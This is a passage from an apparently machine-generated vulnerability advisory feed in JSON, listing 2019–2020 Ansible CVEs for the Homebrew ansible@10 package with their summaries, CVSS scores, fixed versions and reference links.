"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Exposure of Sensitive Information to an Unauthorized Actor in ansible","details":"A flaw was discovered in the way Ansible templating was implemented in versions before 2.6.18, 2.7.12 and 2.8.2, causing the possibility of information disclosure through unexpected variable substitution. By taking advantage of unintended variable substitution the content of any variable may be disclosed.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-10156"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/57188"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/04e94274fb92e116e9082cc9b86b1fd05c836922"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/3ff6505e8ff0e4655bab008886983476ef903375"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/a11c3edfa41e7e4a4db323cdabfc2eae1b61da2a"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3744"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3789"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-10156"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-grgm-pph5-j5h7"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2019-2.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2019/09/msg00016.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/01/msg00023.html"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2019-10206","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-cqmr-rcpr-cxh3","CVE-2019-10206","PYSEC-2019-145"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible password prompts could expose passwords","details":"ansible-playbook -k and ansible cli tools, all versions 2.8.x before 2.8.4, all 2.7.x before 2.7.13 and all 2.6.x before 2.6.19, prompt passwords by expanding them from templates as they could contain special characters. Passwords should be wrapped to prevent templates trigger and exposing them.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-10206"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/4b5aed4e5af4c7aab621662f50a289e99b8ac393"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/d39488ece44956f6a169a498b067bbef54552be1"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/d728127310b4f3a40ce8b9df3affb88ffaeea073"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-10206"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2019-145.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00026.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2019-10217","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-p75j-wc34-527c","CVE-2019-10217","PYSEC-2019-3"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"}]},"summary":"Exposure of Sensitive Information to an Unauthorized Actor in ansible","details":"A flaw was found in ansible 2.8.0 before 2.8.4. Fields managing sensitive data should be set as such by no_log feature. Some of these fields in GCP modules are not set properly. service_account_contents() which is common class for all gcp modules is not setting no_log to True. Any sensitive data managed by that function would be leak as an output when running ansible playbooks.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-10217"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/56269"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/59427"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/c1ee1f142db1e669b710a65147ea32be47a91519"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-10217"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-p75j-wc34-527c"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2019-3.yaml"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00026.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2019-14846","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-pm48-cvv2-29q5","CVE-2019-14846","PYSEC-2019-4"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Uses Plugins That Disclose Credentials","details":"Ansible, all ansible_engine-2.x versions and ansible_engine-3.x up to ansible_engine-3.5, was logging at the DEBUG level which lead to a disclosure of credentials if a plugin used a library that logged credentials at the DEBUG level. This flaw does not affect Ansible modules, as those are executed in a separate process.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-14846"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/63366"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/90e74dd2600e5cc42dd9b4f4656f3d651c4ce5c4"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/cb0f535a8b254a2daf69cd067e842fabb2993034"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/d961f676c01023a6a21503df16ba551a550e515b"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3201"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3202"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3203"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3207"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2020:0756"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-14846"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2019-4.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2020/05/msg00005.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/01/msg00023.html"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00026.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2019-14858","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-h653-95qw-h2mp","CVE-2019-14858","PYSEC-2019-171"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.0rc4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible leaks sensitive information to logs when told not to","details":"A vulnerability was found in Ansible engine 2.x up to 2.8 and Ansible tower 3.x up to 3.5. When a module has an argument_spec with sub parameters marked as `no_log`, passing an invalid parameter name to the module will cause the task to fail before the `no_log` options in the sub parameters are processed. As a result, data in the sub parameter fields will not be masked and will be displayed if Ansible is run with increased verbosity and present in the module invocation arguments for the task.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-14858"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/63405"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/0fd656e9964a91f2e8b1e9bbf78c74661ab9d37b"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/3dfb8e81bb5f776a6b00c7a90dd087e85b71f8bb"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/87f8d77d70476454f7fe2381bd363a329ce4266c"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/f610ed3a4eb87eb557200606279796921fa9b722"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3201"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3202"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3203"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3207"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2020:0756"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-14858"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2019-171.yaml"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00026.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2019-14864","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-3m93-m4q6-mc6v","CVE-2019-14864","PYSEC-2020-160"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"}]},"summary":"Inclusion of Sensitive Information in Log Files and Improper Output Neutralization for Logs in Ansible","details":"Ansible, versions 2.9.x before 2.9.1, 2.8.x before 2.8.7 and Ansible versions 2.7.x before 2.7.15, is not respecting the flag no_log set it to True when Sumologic and Splunk callback plugins are used send tasks results events to collectors. This would discloses and collects any sensitive data.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-14864"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/63522"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/63527"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/64273"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/64274"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/64748"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/050f92f96054bf59e283fdec9972323c2ed00348"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/75288a89d0053d6df35c90863fb6c9542d89850e"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/a0ec2976b2716cdecdd7a8f416d96406acd79b7c"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/c76e074e4c71c7621a1ca8159261c1959b5287af"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-14864"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-3m93-m4q6-mc6v"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-160.yaml"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00026.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2019-14904","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-gwr8-5j83-483c","CVE-2019-14904","PYSEC-2020-161"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"OS Command Injection and Improper Input Validation in ansible","details":"A flaw was found in the solaris_zone module from the Ansible Community modules. When setting the name for the zone on the Solaris host, the zone name is checked by listing the process with the 'ps' bare command on the remote machine. An attacker could take advantage of this flaw by crafting the name of the zone and executing arbitrary commands in the remote host. Ansible Engine 2.7.15, 2.8.7, and 2.9.2 as well as previous versions are affected.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:L/SC:H/SI:L/SA:L"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-14904"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/65686"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/589a415f887b6f2bb65cd07fe6b2e9d0a8156b69"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/6a86650109b8654f5898369e45d3857624edf907"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/a1b0f72c98b4b2afaab8aafa255e82c2075049c8"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1776944"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-gwr8-5j83-483c"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-161.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/01/msg00023.html"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2019-14905","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-frxj-5j27-f8rf","CVE-2019-14905","PYSEC-2020-206"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Externally Controlled Reference to a Resource in Another Sphere, Improper Input Validation, and External Control of File Name or Path in Ansible","details":"A vulnerability was found in Ansible Engine versions 2.9.x before 2.9.3, 2.8.x before 2.8.8, 2.7.x before 2.7.16 and earlier, where in Ansible's nxos_file_copy module can be used to copy files to a flash or bootflash on NXOS devices. Malicious code could craft the filename parameter to perform OS command injections. This could result in a loss of confidentiality of the system among other issues.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-14905"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2020:0216"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2020:0218"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-14905"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-frxj-5j27-f8rf"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-206.yaml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5BNCYPQ4BY5QHBCJOAOPANB5FHATW2BR"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00026.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2019-3828","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-74vq-h4q8-x6jv","CVE-2019-3828","PYSEC-2019-5"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.8"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Path Traversal vulnerability","details":"Ansible fetch module before versions 2.5.15, 2.6.14, 2.7.8 has a path traversal vulnerability which allows copying and overwriting files outside of the specified destination in the local ansible controller host, by not restricting an absolute path.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-3828"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/52133"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/396a2f74717477d80600450e2b7e45349d7b5110"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/4be3215d2f9f84ca283895879f0c6ce1ed7dd333"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/f3edc091523fbe301926b7a0db25fbbd96940d93"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3744"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3789"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-3828"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-74vq-h4q8-x6jv"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2019-5.yaml"},{"type":"WEB","url":"https://usn.ubuntu.com/4072-1"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00077.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-08/msg00020.html"},{"type":"WEB","url":"http://packetstormsecurity.com/files/172837/Ansible-Fetch-Path-Traversal.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2020-10684","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-p62g-jhg6-v3rq","CVE-2020-10684","PYSEC-2020-207"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Code Injection, Race Condition, and Execution with Unnecessary Privileges in Ansible","details":"A flaw was found in Ansible Engine, all versions 2.7.x, 2.8.x and 2.9.x prior to 2.7.17, 2.8.11, and 2.9.7 respectively, when using ansible_facts as a subkey of itself and promoting it to a variable when inject is enabled, overwriting the ansible_facts after the clean. An attacker could take advantage of this by altering the ansible_facts, such as ansible_hosts, users and any other key data which would lead into privilege escalation or code injection.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-10684"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/0b4788a71fc7d24ffa957a94ee5e23d6a9733ab0"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/1d0d2645eed36ac4e17052ab4eacf240132d96fb"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/5eabf7bb93c9bfc375b806a2b1f623d650cddc2b"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/a9d2ceafe429171c0e2ad007058b88bae57c74ce"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-10684"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-p62g-jhg6-v3rq"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-207.yaml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DKPA4KC3OJSUFASUYMG66HKJE7ADNGFW"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MRRYUU5ZBLPBXCYG6CFP35D64NP2UB2S"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WQVOQD4VAIXXTVQAJKTN7NUGTJFE2PCB"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202006-11"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2020-10685","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-77g3-3j5w-64w4","CVE-2020-10685","PYSEC-2020-1"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Exposure of Resource to Wrong Sphere and Insecure Temporary File in Ansible","details":"A flaw was found in Ansible Engine affecting Ansible Engine versions 2.7.x before 2.7.17 and 2.8.x before 2.8.11 and 2.9.x before 2.9.7 as well as Ansible Tower before and including versions 3.4.5 and 3.5.5 and 3.6.3 